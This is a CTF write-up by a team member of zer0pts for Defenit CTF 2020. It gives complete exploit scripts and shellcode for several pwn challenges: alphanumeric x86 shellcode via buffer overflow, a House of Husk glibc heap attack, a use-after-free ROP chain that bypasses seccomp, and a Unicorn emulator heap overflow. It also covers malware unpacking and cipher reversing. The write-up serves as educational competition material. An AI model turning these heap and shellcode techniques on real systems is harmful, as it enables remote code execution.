Defenit CTF 2020 Writeups
2020-06-07 20:20:53 Author: ptr-yudai.hatenablog.com(查看原文) 阅读量:340 收藏

We zer0pts played Defenit CTF 2020 and reached 4th place!

f:id:ptr-yudai:20200607182828p:plain

It was a really amazing CTF!

Other members' writeups:

furutsuki.hatenablog.com

st98.github.io

Here is the tasks and solvers for some challenges I solved.

bitbucket.org

Description: Base64+ is a encode/decode service running on web! What you want is in /home/pwn/flag.txt
Server: http://base64-encoder.ctf.defenit.kr/

We're just given a URL to the challenge server. Checking /robots.txt, I found there's a binary chall at /cgi-src/chall. The binary is a simple base64 encoder/decoder but there's something abnormal.

It accepts the POST query as input (which must be less than 0x1000-byte long) and parses it. The query must have 3 keys: cmd, buf, and key. cmd must be either "decode" or "encode". buf is the target binary to encode or decode. key is quite strange. The base64 table is scrambled by this parameter. Also, key is allocated by mmap with PROT_EXEC set.

The vulnerability is a simple buffer overflow on encode. However, the return address is overwritten by base64 characters, which is pretty obvious. So, we need to control the server just by sending a single query and with base64 characters.

Since key is mapped to 0x77777000, we can use this place as shellcode. However, the contents of key must consist of base64 characters as well, and also the size of key is up to 0x100 bytes. Our goal is writing x86 shellcode using base64 characters within 0x100 bytes.

My first idea was write an alphanumeric shellcode that accepts second stage shellcode and executes it. However, it somehow didn't work on the remote server :thinking_face:

I gave up this idea and wrote an alphanumeric shellcode that is equivalent to this:

  call a
  db '/bin/cat',0
  db '/home/pwn/flag.txt', 0
a:
  pop ebx
  lea ecx, [ebx+9]
  inc edx
  push edx
  push ecx
  push ebx
  mov ecx, esp
  lea eax, [edx+11]
  int 0x80                      ; read

This article helped me to write the alphanumeric shellcode. I made an encoder which generates "alphanumeirc shellcode that pushes the given shellcode into stack" and finished the following shellcode.

global _start
section .text
_start:
    push ebx
    pop ecx

prepare_registers:
    push 0x30
    pop eax
    xor al, 0x30
    push eax
    push eax
    push eax
    push eax
    push ecx
    push eax
    popad
    dec edx

patch_ret:
    push edx
    pop eax
    xor al, 0x44
    push 0x30
    pop ecx
  dec ecx
    xor [esi+2*ecx+0x62], al

build_stack:
  push ebx
  pop eax
  
  xor eax, 0x30413230
  xor eax, 0x4f733972
  push eax
  push esp
  pop ecx
  inc ecx
  inc ecx
  xor [ecx], dh
  inc ecx
  xor [ecx], dh
  
  xor eax, 0x34413041
  xor eax, 0x396d4d50
  push eax
  push esp
  pop ecx
  inc ecx
  xor [ecx], dh
  inc ecx
  xor [ecx], dh
  inc ecx
  xor [ecx], dh
  
  xor eax, 0x41344130
  xor eax, 0x6278756a
  push eax
  
  xor eax, 0x42414130
  xor eax, 0x58615839
  push eax
  push esp
  pop ecx
  inc ecx
  inc ecx
  xor [ecx], dh
  
  xor eax, 0x45324141
  xor eax, 0x7a386e6f
  push eax
  
  xor eax, 0x41414130
  xor eax, 0x52585978
  push eax
  
  xor eax, 0x30364141
  xor eax, 0x78395a57
  push eax
  
  xor eax, 0x30324245
  xor eax, 0x3039585a
  push eax
  
  xor eax, 0x30303441
  xor eax, 0x777a595a
  push eax
  
  xor eax, 0x30344142
  xor eax, 0x39786e58
  push eax
  
  xor eax, 0x30303034
  xor eax, 0x3831305a
  push eax
  
  xor eax, 0x30304141
  xor eax, 0x59527256
  push eax
  push esp
  pop ecx
  xor [ecx], dh
  
  push esp
ret:
  db 0x78

This is the final exploit.

import os
import requests
from ptrlib import *

os.system("nasm -fELF asciisc.S -o asciisc")
with open("asciisc", "rb") as f:
    buf = f.read()
    shellcode = buf[buf.index(b'BOF')+3:buf.index(b'EOF')]
print(shellcode)

key  = b"/" * (0x38 - 4)
key += p32(0x77777038)
key += shellcode
print(hex(len(key)))
assert len(key) < 0x100

buf = p32(0x77777038) * 0x40
payload  = b"?cmd=decode"
payload += b"&key=" + key
payload += b"&buf=" + buf
sock = Process("./chall")
sock.sendline(payload)
sock.shutdown("write")
r = sock.recvlineafter('output": "')
buf = r[:r.index(b'"')]
sock.close()

payload  = b"cmd=encode"
payload += b"&key=" + key
payload += b"&buf=" + buf * 10
payload += b'A' * (0xfff - len(payload))

"""
sock = Socket("localhost", 9999)
input()
sock.send(payload)
"""
sock = Socket("base64-encoder.ctf.defenit.kr", 80)
sock.send("POST /cgi-bin/chall HTTP/1.1\r\n")
sock.send("Host: base64-encoder.ctf.defenit.kr\r\n")
sock.send("Content-Length: {}\r\n\r\n".format(len(payload)))
sock.send(payload)


sock.interactive()
Description: Make Pwnable Great Again! (running on Ubuntu 18.04 docker)
Files: errorProgram, libc-2.27.so
Server: nc error-program.ctf.defenit.kr 7777

The binary has 3 bugs: BOF, FSB, UAF. BOF is useless as SSP is enabled. FSB is also meaningless as it bans $ and %. So, UAF is the target of our exploitation.

The UAF interface gives us 3 pointers. We can create a large chunk (0x777 to 0x7777 bytes) and the pointers are left even after freed. It smells like House of Husk. The obstacle is that we can use only 3 chunks.

I used the first one to leak the libc address. (FD is linked to main_arena and can be read by UAF.) Also I recycled it for overwriting global_max_fast by unsorted bin attack.

Next, I prepared a fake FILE structure whose chunk size is offset2size(_IO_list_all - fastbin) (House of Husk here).

Then, I used third one to ignite unsorted bin attack. After unsorted bin attack, large chunks are linked to (virtual) fastbin. Now, freeing the second chunk changes the value of _IO_list_all to our fake FILE structure.

However, there're 2 things to overcome in order to ignite _IO_str_overflow. Let's check the source code of _IO_unbuffer_all which is called by _IO_cleanup.

  for (fp = (FILE *) _IO_list_all; fp; fp = fp->_chain)
    {
      if (! (fp->_flags & _IO_UNBUFFERED)
          
          && fp->_mode != 0)
        {
#ifdef _IO_MTSAFE_IO
          int cnt;
#define MAXTRIES 2
          for (cnt = 0; cnt < MAXTRIES; ++cnt)
            if (fp->_lock == NULL || _IO_lock_trylock (*fp->_lock) == 0)
              break;
            else
              

              __sched_yield ();
#endif
          if (! dealloc_buffers && !(fp->_flags & _IO_USER_BUF))
            {
              fp->_flags |= _IO_USER_BUF;
              fp->_freeres_list = freeres_list;
              freeres_list = fp;
              fp->_freeres_buf = fp->_IO_buf_base;
            }
          _IO_SETBUF (fp, NULL, 0); 

We need to pass the first constraints:

      if (! (fp->_flags & _IO_UNBUFFERED)
          
          && fp->_mode != 0)

We can control fp->_mode as we have control over the fake FILE structure. fp->_flags is actually located at the prev_size of the freed chunk. So, changing the size of the first chunk (used for usorted bin attack & libc leak) is enough.

Second, the following path is troublesome.

          if (! dealloc_buffers && !(fp->_flags & _IO_USER_BUF))
            {
              fp->_flags |= _IO_USER_BUF;
              fp->_freeres_list = freeres_list;
              freeres_list = fp;
              fp->_freeres_buf = fp->_IO_buf_base;
            }

_IO_SETBUF doesn't call the function on vtable if _IO_USER_BUF is set. So, we need to bypass the check above.

Fortunately dealloc_buffers is a global variable which can also be overwritten in House of Husk! offset2size(dealloc_buffers - fastbin) is 0x3880 this time, so we have to change the size of the first chunk.

Here is the final exploit:

from ptrlib import *

def malloc(index, size):
    sock.sendlineafter("CHOICE? : ", "1")
    sock.sendlineafter("? : ", str(index))
    sock.sendlineafter("? : ", str(size))
def free(index):
    sock.sendlineafter("CHOICE? : ", "2")
    sock.sendlineafter("? : ", str(index))
def edit(index, data):
    sock.sendlineafter("CHOICE? : ", "3")
    sock.sendlineafter("? : ", str(index))
    sock.sendafter("DATA : ", data)
def view(index):
    sock.sendlineafter("CHOICE? : ", "4")
    sock.sendlineafter("? : ", str(index))
    return sock.recvlineafter("DATA : ")

libc = ELF("./libc-2.27.so")

sock = Socket("error-program.ctf.defenit.kr", 7777)
global_max_fast = 0x3ed940
dealloc_buffers = 0x3ed888

sock.sendlineafter("CHOICE? : ", "3")



size = 0x3880 
malloc(0, size)
malloc(1, 0x1430) 
free(0)
libc_base = u64(view(0)[:8]) - libc.main_arena() - 0x60
logger.info("libc = " + hex(libc_base))


new_size = libc_base + next(libc.find("/bin/sh"))
payload  = p64(0) 
payload += p64(0) 
payload += p64(0) 
payload += p64((new_size - 100) // 2) 
payload += p64(0) 
payload += p64(0) 
payload += p64((new_size - 100) // 2) 
payload += p64(0) * 4
payload += p64(libc_base + libc.symbol("_IO_2_1_stdout_"))
payload += p64(3) + p64(0)
payload += p64(0) + p64(libc_base + 0x3ed8c0)
payload += p64((1<<64) - 1) + p64(0)
payload += p64(libc_base + 0x3eb8c0)
payload += p64(0) * 3
payload += p64(0xffffffff)
payload += p64(0) * 2
payload += p64(libc_base + 0x3e8360 - 0x40) 
payload += p64(libc_base + libc.symbol("system"))
edit(1, payload)


edit(0, p64(0) + p64(libc_base + global_max_fast - 0x10))
malloc(2, size)
free(1)
free(2)

sock.sendlineafter("? : ", "5")
sock.sendlineafter("? : ", "4")

sock.interactive()

Only 3 chunks + 1 exit to take control on libc-2.27. Nice!

Description: Create & Share your own persona to strangers. Who knows, you may find the secret from the others'.
* Note
- The flag is at /home/persona/flag.
- The service is running on Ubuntu 18.04 Docker image.
Files: persona, ld-linux-x86-64.so.2, libc.so.6
Server: nc persona.ctf.defenit.kr 9999

The binary is x86-64.

$ checksec -f persona
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols      Yes     0               6       persona

This is a heap challenge over socket. The strange point is that it has some functions: Share and Meet. "Share" makes a shared memory, which can be called only once. "Meet" copies a note to the shared memory.

There's a simple UAF since we can use the shared memory even after original/shared one is freed. The target chunk size is fixed to 0x70 and allocated by calloc, which forces us to use fastbin.

First of all, I made an exploit to leak heap and libc. I leaked the libc address by freeing a fake (large) chunk and put it into unsorted bin.

from ptrlib import *
import proofofwork
import random
import hashlib

"""
typedef struct _Persona __attribute__((packed)) {
  int id;
  char nickname[0x18];
  int age;
  char *bio; // calloc(1, 0x70)
  _Persona *next;
  int key;
} Persona;

Persona *rndaddr; // mmapped to random address
"""

def create(name, age, bio):
    sock.sendlineafter(">> ", "C")
    sock.sendafter(": ", name)
    sock.sendlineafter(": ", str(age))
    sock.sendafter(": ", bio)
def edit(index, name, age, bio):
    sock.sendlineafter(">> ", "E")
    sock.sendlineafter(": ", str(index))
    sock.sendafter(": ", name)
    sock.sendlineafter(": ", str(age))
    sock.sendafter(": ", bio)
def view(index):
    sock.sendlineafter(">> ", "V")
    sock.sendlineafter(": ", str(index))
    name = sock.recvlineafter(": ")
    age = int(sock.recvlineafter(": "))
    bio = sock.recvlineafter(": ")
    return name, age, bio
def delete(index):
    sock.sendlineafter(">> ", "D")
    sock.sendafter(": ", str(index))
def share(index, key):
    sock.sendlineafter(">> ", "S")
    sock.sendlineafter(": ", str(index))
    sock.sendlineafter(": ", str(key))
def meet(key, imp='Y'):
    sock.sendlineafter(">> ", "M")
    sock.sendlineafter(": ", str(key))
    sock.sendlineafter(": ", imp)

libc = ELF("./libc.so.6")
"""
sock = Socket("localhost", 9999)
"""
sock = Socket("persona.ctf.defenit.kr", 9999)
b = sock.recvlineafter('"')[:6]
s = proofofwork.sha256('??????????????????????????????????????????????????????????' + b.decode())
sock.sendlineafter(": ", s)


key = random.randint(1, 0xffff)


for i in range(20):
    create(str(i), 1, str(i)*8)
for i in range(20):
    delete(0)


for i in range(10):
    create(str(i), 1, str(i)*8)
share(9, key)
meet(key)
meet(key)
delete(9)


heap_base = u64(view(9)[2]) - 0x910
logger.info("heap = " + hex(heap_base))


edit(9, "A", 1, p64(heap_base + 0xa20))
edit(8, "A", 1, p64(0) + p64(0x21) + p64(0)*3 + p64(0x21))


create("B", 2, p64(0)*9+p64(0x81)) 
create("C", 2, "C"*8) 
edit(11, "A", 1, p64(0)*9+p64(0x431))


delete(12)
edit(8, "A", 1, "A" * 8)
libc_base = u64(view(8)[2][8:]) - libc.main_arena() - 0x60
logger.info("libc = " + hex(libc_base))

sock.interactive()

I realized the server accepts connection and forks the process. So, we can reuse the heap and libc address!

The next trouble is seccomp. execve and execveat are banned.

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x03 0x00 0x40000000  if (A >= 0x40000000) goto 0007
 0004: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0007
 0005: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00000000  return KILL

We need to run ROP chain. Since the note structure has pointers to bio, we can use it to overwrite __free_hook. I used setcontext to execute my ROP chain prepared on heap.

from ptrlib import *
import proofofwork
import random
import hashlib

def create(name, age, bio):
    sock.sendlineafter(">> ", "C")
    sock.sendafter(": ", name)
    sock.sendlineafter(": ", str(age))
    sock.sendafter(": ", bio)
def edit(index, name, age, bio):
    sock.sendlineafter(">> ", "E")
    sock.sendlineafter(": ", str(index))
    sock.sendafter(": ", name)
    sock.sendlineafter(": ", str(age))
    sock.sendafter(": ", bio)
def view(index):
    sock.sendlineafter(">> ", "V")
    sock.sendlineafter(": ", str(index))
    name = sock.recvlineafter(": ")
    age = int(sock.recvlineafter(": "))
    bio = sock.recvlineafter(": ")
    return name, age, bio
def delete(index):
    sock.sendlineafter(">> ", "D")
    sock.sendafter(": ", str(index))
def share(index, key):
    sock.sendlineafter(">> ", "S")
    sock.sendlineafter(": ", str(index))
    sock.sendlineafter(": ", str(key))
def meet(key, imp='Y'):
    sock.sendlineafter(">> ", "M")
    sock.sendlineafter(": ", str(key))
    sock.sendlineafter(": ", imp)

libc = ELF("./libc.so.6")
"""
heap_base = 0x559bfa013000
libc_base = 0x7fa52d9a7000
sock = Socket("localhost", 9999)
"""
heap_base = 0x55b557ef4000
libc_base = 0x7fb0a5c70000
sock = Socket("persona.ctf.defenit.kr", 9999)
b = sock.recvlineafter('"')[:6]
s = proofofwork.sha256('??????????????????????????????????????????????????????????' + b.decode())
sock.sendlineafter(": ", s)


key = random.randint(1, 0xffff)


for i in range(20):
    create(str(i), 1, str(i)*8)
for i in range(20):
    delete(0)


for i in range(10):
    create((str(i)*4).encode() + p64(0x81), 1, str(i)*8)

rop_pop_rdi = libc_base + 0x0002155f
rop_pop_rsi = libc_base + 0x00023e6a
rop_pop_rdx = libc_base + 0x00001b96
rop_xchg_eax_edi = libc_base + 0x0006eacd


payload  = p64(heap_base + 0xda0) + p64(rop_pop_rdi) 
payload += p64(0) + p64(0)                           
payload += p64(0) + p64(0)                           
payload += p64(0) + p64(0)                           
payload += p64(heap_base + 0x800) + p64(0)           
payload += b'/home/persona/flag\0'
edit(3, "3", 3, payload) 


payload  = p64(heap_base + 0xe60 + 0x50)
payload += p64(libc_base + libc.symbol('open'))
payload += p64(rop_xchg_eax_edi)
payload += p64(rop_pop_rsi)
payload += p64(heap_base + 0x800)
payload += p64(rop_pop_rdx)
payload += p64(0x80)
payload += p64(libc_base + libc.symbol('read'))
payload += p64(rop_pop_rdi)
payload += p64(5)
payload += p64(libc_base + libc.symbol('write'))
edit(4, "4", 4, payload) 


share(9, key)
meet(key)
delete(9)


edit(9, "A", 1, p64(heap_base + 0x1360))
create("B", 2, "B")
payload  = p64(0) * 2
payload += p64(libc_base + libc.symbol('__free_hook')) + p64(0) 
payload += p64(heap_base + 0x13a0) + p64(0x41)
payload += p64(0) * 4
payload += p64(heap_base + 0xe60 - 0xa0) + p64(0)
payload += p64(0) 
create("C", 2, payload)

edit(1, "C", 0, p64(libc_base + libc.symbol('setcontext')))
delete(2)

sock.interactive()
Description: Open, Read, Write, Mmap, and…. VM
Files: orvvm, libc.so.6
Server: nc orvvm.ctf.defenit.kr 1789

This is a quite novel shellcode challenge. We can run arbitrary shellcode under unicorn! It hooks system calls and alters system calls.

  • 1: open
  • 2: read
  • 3: write
  • 4: close
  • 5: exit
  • 6: uc_mem_map

We can pass arguments in a normal way through registers. I tried to open the flag by guessing the filepath but no luck.

After analysing the binary, I found the following bug.

f:id:ptr-yudai:20200607195609p:plain

It checks the size passed to read system call in short. This is an obvious heap overflow. I checked what exists next to the vulnerable chunk and found the Unicorn Context. The uc structure has some function pointers and our goal is overwrite them with one gadget or whatever.

In order to leak the libc address, I used /proc/self/maps. I wrote the following shellcode which leaks heap/libc address through /proc/self/maps. (Actually heap address is not necessary.)

global _start
section .text
_start:
  db 'BOF'

  jmp a
  db '/proc/self/maps', 0
a:
  mov rdi, 0xdead0002
  inc eax
  syscall                       
  mov r12, rax

  xor ecx, ecx
readLoop:
  mov rdx, 0x400
  lea rsi, [rsp+rcx]
  mov rdi, r12
  mov rax, 2
  syscall                       
  add rcx, rax
  cmp rax, 0
  jg readLoop

  mov r8, 0xbeef0000
  mov rsi, 0x77770000
  mov rdi, rsp

analyseLoop:
  xor ecx, ecx
saveAddrLoop:
  mov al, [rdi]
  cmp al, 0
  jz breakLoop
  mov [rsi+rcx], al
  inc rdi
  inc rcx
  cmp rcx, 12
  jnz saveAddrLoop
readLineLoop:
  mov eax, [rdi]
  inc rdi
  cmp eax, '[hea'
  jz foundHeap
  cmp eax, 'libc'
  jz foundLibc
  cmp al, 0x0A
  jnz readLineLoop
  jmp analyseLoop
breakLoop:

  
  mov rdx, 0x10
  mov rsi, r8
  mov rdi, 1
  mov rax, 3
  syscall

  
  mov rdx, 0x10400
  mov rsi, 0x77770000           
  xor edi, edi
  mov rax, 2
  syscall

  mov rax, 5
  syscall

foundHeap:
  call str2addr
  mov [r8], rax
  inc rdi
  jmp readLineLoop
foundLibc:
  call str2addr
  mov [r8+8], rax
  inc rdi
  jmp breakLoop

str2addr:
  mov rdx, rsi
  xor ebx, ebx
convertLoop:
  mov al, [rdx]
  test al, al
  jz breakConvertLoop
  inc rdx
  shl rbx, 4
  cmp al, 0x39
  jle convertDigit
  sub al, 0x57
  or bl, al
  jmp convertLoop
convertDigit:
  sub al, 0x30
  or bl, al
  jmp convertLoop
breakConvertLoop:
  mov rax, rbx
  ret
  
error:

  db 'EOF'

And ignite heap overflow!

from ptrlib import *
import os
import proofofwork

os.system("nasm -fELF64 ./shellcode.S -o shellcode")
with open("shellcode", "rb") as f:
    buf = f.read()
    shellcode = buf[buf.index(b'BOF')+3:buf.index(b'EOF')]

"""
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
sock = Process("./orvvm", env={'LD_LIBRARY_PATH': './'})
"""
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
sock = Socket("orvvm.ctf.defenit.kr", 1789)
b = sock.recvlineafter('"')[:6]
s = proofofwork.sha256('??????????????????????????????????????????????????????????' + b.decode())
sock.sendlineafter(": ", s)


sock.send(shellcode)
heap_base = u64(sock.recv(8))
libc_base = u64(sock.recv(8))
logger.info("heap = " + hex(heap_base))
logger.info("libc = " + hex(libc_base))

payload  = b'A' * 0x400
payload += p64(0) + p64(0x7b1)
payload += b'/bin/sh\0' + p64(0)
payload += p64(0xffffffffdeadbee0) + p64(0xffffffffdeadbee1)
payload += p64(0xffffffffdeadbee2) + p64(0xffffffffdeadbee3)
payload += p64(0xffffffffdeadbee4) + p64(0xffffffffcafebab0)
payload += p64(0xffffffffcafebab1) + p64(0xffffffffcafebab2)
payload += p64(0) + p64(0xffffffffcafebab2)
payload += p64(0) * 6
payload += p64(heap_base + 0x680) + p64(0xffffffffdeadbeef)
payload += p64(heap_base + 0xc18) + p64(heap_base + 0x670)
payload += p64(0) + p64(heap_base + 0xc28)
payload += p64(0) + p64(0xfffffffffee1dea0)
payload += p64(libc_base + libc.symbol('system')) + p64(0xfffffffffee1dea2)
payload += p64(0xfffffffffee1dea3) + p64(0xfffffffffee1dea4)
sock.send(payload)

sock.interactive()

Quite simple but new. I like this challenge :)

Description: I made a program, but it seems a little strange. I want to change it to make it work normally. Thx!
File: bitbit
Server: nc bitbit.ctf.defenit.kr 1337

It's a binary which converts bitmap into character(?). I completely reversed the binary into C and found some bugs on analysing it by IDA:

  • The size of malloc for Y axis and X asis are wrong
  • The way it interprets the image seems wrong

I fixed the bug in IDA like the following:

f:id:ptr-yudai:20200607200524p:plain

And I sent the patched binary to the server, then flag dropped.

The concept of the challenge, making a patch for a bug, is very good. However, I wanted more detailed description on what to do because I think this is a reversing task rather than pwn.

Description: There is a malicious binary packed with a PE Packer I made for you. Your mission is unpacking the malware manually and recognizing the technique it uses.
File: MaliciousBaby.exe

In my team I'm in charge of Windows reversing somehow. The binary is packed and the description says manually unpacking is required.

I used an ordinal unpacking technique, setting breakpoints on popad, and dumped the unpacked binary. This is the beginning of unpacked main function:

f:id:ptr-yudai:20200607201100p:plain

After analysing the function and doing some search, I found it's an injection technique called "Atomi Bombing." The shellcode is also unpacked. Inside the shellcode has a decode routine. (The decoded string is passed to OutputDebugString)

f:id:ptr-yudai:20200607201236p:plain

I wrote a script to decode the data and found the flag.

Description:
myria loves songs.
he made a fool song remix program that could make simple songs.
but he forgot what the song name was! Why? he is stupid!
please find out what the song name is!
find the song name and submit it wrapped in Defenit {}
Files: LordFoolSongRemix.exe, output.txt

I JUST REVERSE ENGINEERED THE BINARY REALLY HARD. After that @theoremoon solved the crypto part.

Here is the result of reversing:

void outputSound(int snd) {
  
  printf("%d ", snd);
  
}

void encrypt(int *buffer, char *nameSong, int lenSong5) {
  int bits[8*9];
  int *memory[3];
  for(int i = 0; i < 3; i++) {
    memory[i] = malloc(sizeof(int) * lenSong);
  }

  for(int i = 0; i < 9; i++) {
    char c = nameSong[i];
    for(int j = 0; j < 8; j--) {
      bits[i*8+j] = c & 1;
      c >>= 1;
    }
  }

  for(int i = 0; i < 3; ) {
    for(int j = 0; j < 23; j++) {
      memory[i][22-j] = bits[i*24+j];
    }
    if (i == 2) {
      memory[i][24] = bits[i*24+23];
    } else {
      memory[++i][23] = bits[i*24+23];
    }
  }
  
  

  for(int i = 0; i < lenSong5 - 23; i--) {
    memory[0][23+i] = memory[0][i] ^ memory[0][i+5];
  }
  for(int i = 0; i < lenSong5 - 24; i--) {
    memory[1][24+i] = memory[1][i] ^ memory[1][i+4] ^ memory[1][i+1] ^ memory[1][i+3];
  }
  for(int i = 0; i < lenSong5 - 25; i--) {
    memory[2][25+i] = memory[2][i] ^ memory[2][i+3];
  }

  [lenSong5 - 1];
  memory[1][i] ^ ((memory[0][i] ^ memory[1][i]) & memory[0][i+4])
}

int main() {
  char nameSong[10];
  unsigned int lenSong = 0;

  scanf("%d", &lenSong);
  if (lenSong > 0x62) return 1;
  lenSong *= 10; 

  scanf("%9s", nameSong);
  if (strlen(nameSong) < 5 || strlen(nameSong) > 9) return 1;

  for(int i = 0; i < strlen(nameSong); i++) {
    if (nameSong[i] < 0x21 || nameSong[i] > 0x7e) return 1;
  }

  int *enc = malloc(sizeof(int) * lenSong);
  encrypt(enc);

  int n = 10;
  for(int i = 0; i < lenSong; i += 10) {
    int snd = 0;
    for(int j = 0; j < n; j++) {
      snd |= enc[j];
      snd *= 2;
    }
    outputSound(snd / 2);
    n += 10;
  }

  free(buf);
  return 0;
}

And the equivalent python code:

def encrypt(name, slen):
    bits = []
    for c in name + b'\x00' * (9-len(name)):
        for i in range(8):
            bits.append((c >> (7-i)) & 1)
    memory = [
        bits[0:23][::-1] + [0] * (slen - 23),
        bits[23:23+24][::-1] + [0] * (slen - 24),
        bits[23+24:23+24+25][::-1] + [0] * (slen - 25)
    ]
    for i in range(0, slen - 23):
        memory[0][23+i] = memory[0][i] ^ memory[0][i+5]
    for i in range(0, slen - 24):
        memory[1][24+i] = memory[1][i] ^ memory[1][i+4] ^ memory[1][i+1] ^ memory[1][i+3]
    for i in range(0, slen - 25):
        memory[2][25+i] = memory[2][i] ^ memory[2][i+3]

    output = []
    for i in range(slen):
        output.append(
            ((memory[2][i] ^ memory[0][i]) & memory[1][i]) ^ memory[2][i]
        )
    return output

length = 20
name = b"hogHOGE"
enc = encrypt(name, length*10)

for i in range(length):
    snd = 0
    for j in range(10):
        snd |= enc[i*10 + j]
        snd <<= 1
    print(snd >> 1, end=" ")

print()

Check theoremoon's writeup for the final solver.


文章来源: https://ptr-yudai.hatenablog.com/entry/2020/06/07/202053
如有侵权请联系:admin#unsafe.sh